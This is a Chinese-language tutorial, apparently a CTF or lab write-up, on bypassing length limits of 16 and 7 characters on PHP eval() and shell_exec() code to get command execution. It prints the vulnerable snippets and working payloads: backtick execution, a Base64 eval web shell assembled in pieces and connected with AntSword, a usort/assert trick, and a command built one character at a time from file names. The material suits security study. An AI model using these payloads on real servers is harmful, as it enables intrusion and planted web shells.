目录
环境:
Linux,PHP7.3,Nginx
一.限制长度16
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
1.反引号(长度11)
反引号可以执行系统命令
payload:
`$_GET[1]`;
显示当前用户
2.file_put_contents写入文件(长度16)
payload:
1=file_put_contents¶m=$_GET[1](N,P,8);
1=file_put_contents¶m=$_GET[1](N,D,8);
……
1=file_put_contents¶m=$_GET[1](N,w,8);
将"PD9waHAgZXZhbCgkX1BPU1RbOV0pOw" 逐次写入文件N中
PD9waHAgZXZhbCgkX1BPU1RbOV0pOw是<?php eval($_POST[9]);的Base64编码。
为什么要用Base64编码,而不是直接将php代码写入?
- 问号需要url编码,会超过长度限制
- 符号需要用双引号包裹,否则会语法报错,双引号也会增加长度。
最后用php://filter解码文件,include包含文件(长度16)
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
蚁剑测试连接:
3.usort及可变参数 (长度16)
可变参数:
- 如果可变参数接收的值是数组类型,会将数组拆开为多个变量:
function add($a, $b) {
return $a + $b;
}
$args = [1, 2];
echo add(...$args); // 输出 3
- 如果接收的是多个变量,会将变量包装成数组
function sum(...$numbers) {
return array_sum($numbers);
}
echo sum(1, 2, 3); // 输出 6
$numbers 是一个数组,包含所有传入的参数。
$_GET是一个数组类型:
print_r($_GET);
从前面分析得知,如果使用可变参数类型接收数组,会将数组分解为多个变量。
这样我们就能将一大串字符打包装在一个数组中,再让可变参数去分解。
所以usort()使用可变参数的方式来接收GET传参
usort()的第一个参数是数组,第二个参数是回调函数
构造这样的payload:
1[]=test&1[]=phpinfo()&2=assert
运行结果:
7.3.4版本由于assert()函数不能接收动态参数,无法执行
5.6版本可以使用:
蚁剑测试连接:
二.限制长度7位
$param = $_REQUEST['param'];
If (strlen($param) < 8 ) {
echo shell_exec($param);
}
shell_exec可以执行系统命令,返回字符串
1.php上传文件到临时文件(7位)
- php上传文件时,会将文件先保存到/tmp目录下
- linux获取文件可以模糊匹配,如果只使用*,会匹配该目录下的第一个文件
我们可以以上传文件的方式访问执行命令文件,在临时文件中添加命令。上传文件后,/tmp目录下会生成上传的文件,这时在执行命令文件中匹配临时文件,执行临时文件中的命令
此方法中要求/tmp目录为空,因为不能保证临时文件处在第一个位置
payload:
?param=.+/t*/* (+是url编码的空格)#匹配tmp目录下的第一个文件
2.逐字符构成文件追加法(5位)
知识点:
2.1.重定向符
linux中,重定向符>/>>具有创建文件的功能,且在其前面可执行任意命令,然后将命令执行的结果写入到指定文件中
2.2.sh执行命令
sh命令可以将文件中的内容当作命令来执行
2.3.ls [选项] [目录名]
-h可以以易读的方式显示文件的大小,如1KB,100MB,5GB。
-t可以按照文件创建的时间,排列文件,最新创建的文件排在第一位
2.4.星号(*)
linux中*可作为通配符使用,在输入*后,linux会将该目录下第一个文件名作为命令,剩下的的文件名当作参数
用*号执行ls -t:
2.5.反斜杠\
实现命令换行
linux中,执行命令时,可以在没有写完的命令后面加`\`,实现将一条命令多行化,以行末没有`\`为终止
如下相当于执行了cat 111
2.6.rev
`linux`中,利用`rev`可将文件内容倒置,同时可以配合`>`,`*`使用
2.7.dir
`linux`中,`dir`命令和ls效果基本一样,只有配合重定向符写入文件时有一些差别,`ls`写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到命令的执行,而`dir`会把内容全部写入一行中,同时会自动补全空格。
ps:使用ls将命令写入文件需要有"/"来连接命令(因为会换行),如果命令中的每段字符串都是完整的,用dir将命令写入文件是最省事的。(如将"ls -hf z"写入文件中,由于每段命令的字符长度都是1-3,不需要加"/"来防止中断命令,所以用dir省力)。
例1:用dir将"ls -th >f"写入到a中(4位)
来看一个例子:用dir将"ls -th >f"写入到a中
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
sh a 最后用sh来执行命令
-h的作用是调整排列顺序,否则-t会排列到ls后面
创建v文件,里面包含逆序的ls -ht >f
*v >a会被展开为 rev v > a,将文件v中内容倒序,输入到a中
为什么需要逆序呢?
如果不逆序,-t会被当作参数而不是文件,不会被写入到a中。
例2:将<?php phpinfo()>写入到1.php中(5位)
接下来将<?php phpinfo()>写入到1.php中
由于代码中有特殊符号<,?,(),>,这些符号如果要写进文件需要用双引号或者转义字符,为了统一性处理,将这段代码转为Base64编码。
<?php phpinfo();
PD9waHAgcGhwaW5mbygpOw==
构造
echo PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
由于payload有两个空格,所以其中一个空格要用${IFS}来代替,否则在用"\ \\"来写入空格时,两个空格会重复,最后只留下一个空格。
所以payload转变为:
echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
拆分(每个字符最长为5位)
>ec\\
>ho\\
>\$\\
>{\\
>IF\\
>S}\\
>PD\\
>9w\\
>aH\\
>Ag\\
>cG\\
>hw\\
>aW\\
>5m\\
>by\\
>gp\\
>Ow\\
>\=\\
>\=\\
>\|\\
>ba\\
>se\\
>64\\
>\ \\
>-d\\
>\>\\
>1.\\
>p\\
>hp
需要用到之前的ls -th >f 来写入文件,所以还需要倒序,然后再加上之前的ls -fh >a的构造
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>\=\\
>Ow\\
>gp\\
>by\\
>5m\\
>aW\\
>hw\\
>cG\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\
sh a
sh f
结果展示:
不识别命令是正常的,因为文件中掺杂了其他字符。会跳过这些字符
运行完后的文件展示:
a文件中的展示:
f文件中的展示:
1.php展示:
移动1.php至nginx服务器
mv 1.php /usr/local/nginx/html
访问1.php